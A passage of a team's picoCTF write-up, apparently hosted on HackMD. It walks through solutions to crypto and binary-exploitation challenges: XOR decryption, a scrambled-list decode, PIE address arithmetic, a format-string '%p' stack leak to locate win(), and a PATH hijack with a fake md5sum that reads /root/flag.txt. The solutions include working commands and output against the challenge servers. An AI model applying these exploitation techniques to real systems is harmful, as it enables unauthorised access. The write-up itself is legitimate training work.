byte encoded plus the `padding` #### xor_bytes(a, b): ``` 80: def xor_bytes(a, b): 81: return bytes(x ^ y for x, y in zip(a, b)) ``` > `xor_bytes(a, b)` will: > * Return a byte string, which contains at each index the value of the plaintext byte xor'ed by the current key index value. 3. Reverse the Encryption > 3.1 - In a python session, copy the `Encrypted Blockchain` value from `enc_flag` into a variable, like so: ``` >>> enc_flag = b'o\xd3\xefR\xf9@\x01(\xebg\xf0\xed\xc5K\xcc\x87>\x83... ``` > 3.2 - Then, divide that variable into groups of 16: ``` >>> g_flag = [enc_flag[i:i+16] for i in range(0, len(enc_flag), 16)] ``` > 3.3 - Then, xor encrypt each byte of the flag against the given key and add each value to an array: ``` >>> for g in g_flag: ar += [x^y for x, y in zip(g, hashlib.sha256(b'Z\xa3\xf6\xd4\xdb\x8a\x9c\x10\x84\xf8\xb6\xb0:\x1c...').digest())] ``` > 3.4 - Finally, ASCII decode each character to get the `modified_plaintext` from `encrypt(plaintext, inner_txt, key)`, which contains the flag value in the middle: ``` ''.join([chr(x) for x in ar]) '227236b3acf836b1<truncated>picoCTF{flag_data_goes_here}d95c6f31fa67<truncated>' ``` ## Quantum Scrambler > **Points:** 200 > > **Solved By:** Jaden Andrews > > **Difficulty:** Medium ### Solution: ![image](https://hackmd.io/_uploads/B10Ve-5h1e.png) 1. In this challenge, you are given the source code for the app `quantum_scram`, but the flag is hidden within a file called `flag.txt`, which is not given. In order to solve the challenge, download the source code and create a test flag file with some recognizeable text: ``` $ echo "flag text goes here" > flag.txt $ cat flag.txt flag text goes here ``` 2. Connect to the server and observe the output: ``` $ nc verbal-sleep.picoctf.net <port> [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79'], ['0x74', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b']], '0x68'], ['0x6f', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79']], '0x6e'], ['0x5f', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']] ... ``` * The output is extremely long and indiscernable 3. Run the source code with the test `flag.txt` file: ``` $ python quantum_scrambler.py [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66', '0x6c'], ['0x61', [], '0x67']], '0x78'], ['0x74', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74']], '0x20'], ['0x67', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66', '0x6c'], ['0x61', [], '0x67']], '0x78']], '0x6f'], ['0x65', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66', '0x6c'], ['0x61', [], '0x67']], '0x78'], ['0x74', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74']], '0x20']], '0x73'], ['0x20', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66', '0x6c'], ['0x61', ... ``` * The output is notably different from the server output, as the characters are different and it is much shorter. * Both outputs appear to be a series of nested lists. 4. Inspecting the source code gives us: ``` 1: import sys 2: 3: def exit(): 4: sys.exit(0) 5: 6: def scramble(L): 7: A = L 8: i = 2 9: while (i < len(A)): 10: A[i-2] += A.pop(i-1) 11: A[i-1].append(A[:i-2]) 12: i += 1 13: 14: return L 15: 16: def get_flag(): 17: flag = open('flag.txt', 'r').read() 18: flag = flag.strip() 19: hex_flag = [] 20: for c in flag: 21: hex_flag.append([str(hex(ord(c)))]) 22: 23: return hex_flag 24: 25: def main(): 26: flag = get_flag() 27: cypher = scramble(flag) 28: print(cypher) 29: 30: if __name__ == '__main__': 31: main() ``` * `quantum_scrambler.py` has 3 main functions: `main()`, `get_flag()`, and `scrambleL(L)`: > #### `main()`: > * `main()` starts by calling `get_flag()`, and assigning the return value to `flag` > * Then, `main()` passes `flag` to `scamble(L)` and then prints the value to stdout. > #### `get_flag()`: > * `get_flag()` opens the `flag.txt` file and assigns it's text to variable `flag`. > * Then, it strips `flag` of it's surrounding whitespace. > * Next, it encodes each character in `flag` as a hexadecimal value and adds the value to a list `hex_flag`. > * Finally, it returns `hex_flag`. > #### `scramble(L)`: > `scramble(L)` appears to divide the elements of `flag` into groups of 2, then puts each group into an element of the list `A`, seperated by the values of the two groups that came before the current one. But, let's take a look at this in practice: > * 4.1 - Run a python interactive session. Copy in the `get_flag()` and `scramble(L)` functions. ``` $ python -i Python 3.13.2 (main, Feb 4 2025, 14:51:09) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> def get_flag(): ... flag = open('flag.txt', 'r').read() ... flag = flag.strip() ... hex_flag = [] ... for c in flag: ... hex_flag.append([str(hex(ord(c)))]) ... ... return hex_flag ... >>> def scramble(L): ... A = L ... i = 2 ... while (i < len(A)): ... A[i-2] += A.pop(i-1) ... A[i-1].append(A[:i-2]) ... i += 1 ... ... return L ... >>> get_flag() [['0x66'], ['0x6c'], ['0x61'], ['0x67'], ['0x20'], ['0x74'], ['0x65'], ['0x78'], ['0x74'], ['0x20'], ['0x67'], ['0x6f'], ['0x65'], ['0x73'], ['0x20'], ['0x68'], ['0x65'], ['0x72'], ['0x65']] >>> flag = open('flag.txt', 'r').read() >>> flag 'flag text goes here\n' >>> [hex(ord(flag[i])) for i in range(0, len(flag))] ['0x66', '0x6c', '0x61', '0x67', '0x20', '0x74', '0x65', '0x78', '0x74', '0x20', '0x67', '0x6f', '0x65', '0x73', '0x20', '0x68', '0x65', '0x72', '0x65', '0xa'] >>> scramble(get_flag()) [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66', '0x6c'], ['0x61', [], '0x67']], '0x78'], ['0x74', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74']], '0x20'], ['0x67', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66', <truncated> >>> ``` * Running `[hex(ord(flag[i])) for i in range(0, len(flag))]` shows each character of `flag` as a hex value. > * Notice that each character in the output of `[hex(ord(flag[i])) for i in range(0, len(flag))]` is nested inside a list inside the output of `get_flag()`. > * Also notice that inside `index 0` of `scramble(get_flag())` are the first two elements of `[hex(ord(flag[i])) for i in range(0, len(flag))]` and the first and last elements of `index 1` in `scramble(get_flag())` are `index 2` and `index 3` of `[hex(ord(flag[i])) for i in range(0, len(flag))]` 5. Following this line of logic, we can get the flag from the server by copying the output into the interactive session, and grabbing the appropriate elements from the nested list, like so: ``` python -i Python 3.13.2 (main, Feb 4 2025, 14:51:09) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin Type "help", "copyright", "credits" or "license" for more information. l = ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79'], ['0x74', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']<truncated> >>> for e in l: ... if (type(e[0]) == str): ... a += chr(int(e[0], 16)) ... if (type(e[-1]) == str): ... a += chr(int(e[-1], 16)) ... >>> a 'picoCTF{flag_data_goes_here}}' ``` * There is an extra `}` symbol at the end here, but ignoring that should produce a valid flag value. --- # **Binary Exploitation** ## PIE TIME > **Points:** 75 > > **Solved By:** Jaden Andrews > > **Difficulty:** Easy ### Solution: ![image](https://hackmd.io/_uploads/rJhURhthJx.png) 1. In this challenge, you are given the source code for the app `vuln.c` and a compiled binary `vuln`, but the flag is hidden within a file called `flag.txt`, which is not given. In order to solve the challenge, download the source code and create a test flag file with some recognizeable text: ``` $ echo "flag text goes here" > flag.txt $ cat flag.txt flag text goes here ``` > The binary is an `ELF`, so be sure to do this challenge on a Linux machine 2. Running `file` against `vuln`, you can see the following: ``` $ file vuln vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped ``` * The binary is 64-bit and dynamically linked * The symbols from the binary have not been stripped, so they can easily be correlated to their plaintext counterparts 3. Inspecting the source code, you will observe 3 functions: `main()`, `win()`, and `segfault_handler()`. You will also observe that `win()` is never called by any other function. `win()` is also the function that reveals the text in `flag.txt`. Inspecting `main()` further, you will see that: ``` ... int main() { signal(SIGSEGV, segfault_handler); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered printf("Address of main: %p\n", &main); unsigned long val; printf("Enter the address to jump to, ex => 0x12345: "); scanf("%lx", &val); printf("Your input: %lx\n", val); void (*foo)(void) = (void (*)())val; foo(); } ... ``` * When the program is run, it will print the address of the `main()` in memory, then request an address for to jump to. * That address is saved as the address of a variable `val`, which is then assigned as the address of variable `foo`. * `foo()` is called as a function. Knowing the challenge is called 'PIE TIME', referring to a `Position-Independent Executable`, and given all the above information, recognize that `win()` can be run if the program is given the correct address to the program, but that address can not be known until the program is running. 4. Running `readelf` against `vuln`, you can see: ``` $ readelf -hs vuln ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Position-Independent Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x11a0 ... 59: 0000000000004000 0 NOTYPE GLOBAL DEFAULT 25 __data_start 60: 0000000000001289 30 FUNC GLOBAL DEFAULT 16 segfault_handler 61: 0000000000000000 0 FUNC GLOBAL DEFAULT UND signal@@GLIBC_2.2.5 62: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 63: 0000000000004008 0 OBJECT GLOBAL HIDDEN 25 __dso_handle 64: 0000000000002000 4 OBJECT GLOBAL DEFAULT 18 _IO_stdin_used 65: 0000000000001410 101 FUNC GLOBAL DEFAULT 16 __libc_csu_init 66: 00000000000012a7 150 FUNC GLOBAL DEFAULT 16 win 67: 0000000000004020 0 NOTYPE GLOBAL DEFAULT 26 _end 68: 00000000000011a0 47 FUNC GLOBAL DEFAULT 16 _start 69: 0000000000004010 0 NOTYPE GLOBAL DEFAULT 26 __bss_start 70: 000000000000133d 204 FUNC GLOBAL DEFAULT 16 main ... ``` * The `type` is `DYN`, confirming that the binary is a `PIE`. * `win()` is located at virtual address `00000000000012a7`, so you know that the actual address will end with `2a7`. * `main()` is located at virtual address `000000000000133d`, so you know that the actual address will end with `33d`. 5. Running `vuln`, you get the following: ``` $ ./vuln Address of main: 0x55666845433d Enter the address to jump to, ex => 0x12345: 0x5566684542a7 Your input: 5566684542a7 You won! flag text goes here ``` * Just as it was noted above, the address of `main()` ended with `33d`. * Since the prefix for the memory locations of `win()` and `main()` are identical, by replacing the suffix for the address of `main()` with the suffix for the address of `win()`, you can accurately refer to the actual address of `win()`. > Observe that the text from the test `flag.txt` file is in the output of the program 6. Access the challenge server, and apply the same steps outlined in `Step 5`: ``` $ nc rescued-float.picoctf.net 51762 Address of main: 0x5e54ea9fe33d Enter the address to jump to, ex => 0x12345: 0x5e54ea9fe2a7 Your input: 5e54ea9fe2a7 You won! picoCTF{flag_data_goes_here} ``` ## Hash-only-1 > **Points:** 100 > > **Solved By:** Kaciopey Ikounga > > **Difficulty:** Medium ![Screenshot_19-3-2025_143348_play.picoctf.org](https://hackmd.io/_uploads/SJxXCF_hyg.jpg) ### Solution: #### Step 1: Connected to the server and ran flaghasher. ![Screenshot 2025-03-09 115008](https://hackmd.io/_uploads/HJ9_ooKnJl.png) #### Step 2: Checked the Hash Against Online Databases After obtaining the hash, I checked it against popular hash-cracking databases such as CrackStation and other similar services to see if the flag was already present, but no matching results was found. #### Step 3: Tested Different Arguments for Potential Leaks I explored running flaghasher with various arguments and combinations to check if it would leak the flag or reveal helpful information. But, got no results. #### Step 4: Ran strings to extract readable text from the binary. Identified system and other system call-related functions, indicating the binary was executing system commands, likely relying on an external binary. Additionally, the absence of typical hash computation functions further supported this idea. This suggested that the binary was likely depending on an external binary, opening the possibility of exploiting $PATH hijacking to manipulate the program's behavior. ![Screenshot 2025-03-12 114655](https://hackmd.io/_uploads/ByUUFTF2yl.png) #### Step 5: created a fake md5sum binary to read and print the contents of /root/flag.txt, which likely contained the flag. After granting execute permissions to the script, I modified the $PATH variable to include the current directory at the beginning. This ensured that when flaghasher attempted to run md5sum, it executed my fake binary instead of the system’s version, successfully revealing the flag. ![Screenshot 2025-03-12 114724](https://hackmd.io/_uploads/ryP51aY3Jl.png) ## PIE TIME 2 > **Points:** 200 > > **Solved By:** Jaden Andrews > > **Difficulty:** Medium ### Solution: ![image](https://hackmd.io/_uploads/BJfipTK3yx.png) 1. In this challenge, you are given the source code for the app] `vuln.c` and a compiled binary `vuln`, but the flag is hidden within a file called `flag.txt`, which is not given. In order to solve the challenge, download the source code and create a test flag file with some recognizeable text: ``` $ echo "flag text goes here" > flag.txt $ cat flag.txt flag text goes here ``` > The binary is an `ELF`, so be sure to do this challenge on a Linux machine 2. Running `file` against `vuln`, you can see the following: ``` $ file vuln vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped ``` * The binary is 64-bit and dynamically linked * The symbols from the binary have not been stripped, so they can easily be correlated to their plaintext counterparts 3. Inspecting the source code, you will observe 4 functions: `segfault_handler()`, `call_functions()`, `win()`, and `main()`. You will also observe that win() is never called by any other function. win() is also the function that reveals the text in flag.txt. Inspecting main() further, you will see that: ``` int main() { signal(SIGSEGV, segfault_handler); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered call_functions(); return 0; } ``` * It's primary function is to `call_functions()` > 3.1 - Analyzing `call_function()`, you can see that it: ``` // vuln.c ... 11:void call_functions() { 12: char buffer[64]; 13: printf("Enter your name:"); 14: fgets(buffer, 64, stdin); 15: printf(buffer); 16: 17: unsigned long val; 18: printf(" enter the address to jump to, ex => 0x12345: "); 19: scanf("%lx", &val); 20: 21: void (*foo)(void) = (void (*)())val; 22: foo(); 23:} ... ``` > * Gets a 64-byte string from stdin, then uses `printf()` to print that value directly to stdout. > * Requests an address for the next instruction to execute. (`val`) > * Executes the function (`foo()`) Knowing the challenge is called 'PIE TIME 2', referring to a `Position-Independent Executable`, and given all the above information, recognize that `win()` can be run if the program is given the correct address to the program, but that address can not be known until the program is running. Also note that there is a format string vulnerability. The program takes user input from stdin and directly passes it to `printf()`. 4. In order to locate the address of win during execution, launch `vuln` within `gdb`: ``` $ gdb -q vuln Reading symbols from vuln... (No debugging symbols found in vuln) (gdb) ``` > 4.1 - Set breakpoints at `call_functions` and ``, then run the program: ``` $ gdb -q vuln ... (gdb) b *call_functions Breakpoint 1 at 0x12c7 (gdb) b *win Breakpoint 2 at 0x136a (gdb) r Starting program: /jadenandrews/vuln [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x00005555555552c7 in call_functions () => 0x00005555555552c7 <call_functions+0>: f3 0f 1e fa endbr64 (gdb) ``` > 4.2 - Using the command `info breakpoints`, find the address where `win` is located: ``` $ gdb -q vuln ... (gdb) i b Num Type Disp Enb Address What 1 breakpoint keep y 0x00005555555552c7 <call_functions> breakpoint already hit 1 time 2 breakpoint keep y 0x000055555555536a <win> ``` > * `call_functions` and `win` have the same memory prefix `0x555555555` > * `call_functions` has a suffix of `2c7` > * `win` has a suffix of `36a` > > 4-3 - Run gdb and use a format string to search for pointers on the stack: ``` $ gdb -q vuln ... (gdb) c Continuing. Enter your name: %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 0x5555555592a1 0xfbad2288 0x7fffffffdad0 (nil) 0x4 0x7ffff7f97ff0 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 0x7fffffffdb30 0xeac2822f9b144100 0x7fffffffdb30 0x555555555441 0x1 0x7ffff7ddbd68 Breakpoint 3, 0x0000555555555328 in call_functions () => 0x0000555555555328 <call_functions+97>: e8 13 fe ff ff call 0x555555555140 <printf@plt> (gdb) ``` > * There are no pointers we can recognize, but the value at position `19` has the same address prefix as `call_functions` and `win`. Referring to the prefix of this value can help us correctly identify where `win` is in memory when the program is executed. 5. Run the program and look for the pointer at position `19`: ``` $ ./vuln Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 0x56474af292a1 0xfbad2288 0xb50d6d5f 0x56474af292d9 0x4 0x7f710349aff0 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7ffc8922000a 0x7ffc8922c2f0 0x8b25ed4352f9c600 0x7ffc8922c2f0 0x564734eee441 enter the address to jump to, ex => 0x12345: 0x564734eee36a You won! flag text goes here ``` * The value at position `19` had a prefix of `0x564734eee`. * Adding `36a` (the suffix for the memory address of `win`) to the prefix gives `0x564734eee36a`, which correctly called the `win` function and displayed the text from the test `flag.txt` file. 6. Access the challenge server, and same steps outlined in `Step 5`: ``` $ nc rescued-float.picoctf.net 55382 Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 0x570b3de222a1 (nil) 0x570b3de222d9 0x7ffd9617bba0 0x7c 0x7ffd96196228 0x72b89da2d6a0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7ffd9617000a 0x570b1e3da1c0 0x1b3de5121766e000 0x7ffd9617bc00 0x570b1e3da441 enter the address to jump to, ex => 0x12345: 0x570b1e3da36a You won! picoCTF{flag_data_goes_here} ``` # Score Breakdown | Member | Total Points | | ------------------------ | ------------:| | Jaden Andrews | 1,300 | | Elijah Flythe | 500 | | Kaciopey Ikounga Moulolo | 400 | | Delvan Paulino | 110 |

Import from clipboard

Paste your markdown or webpage here...

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template has been removed or transferred.
Upgrade
All
  • All
  • Team
No template.

Create a template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

Slide Example

API Docs

Edit in VSCode

Install browser extension

Contacts

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Get Full History Access

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

Note content is identical to the latest version.
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully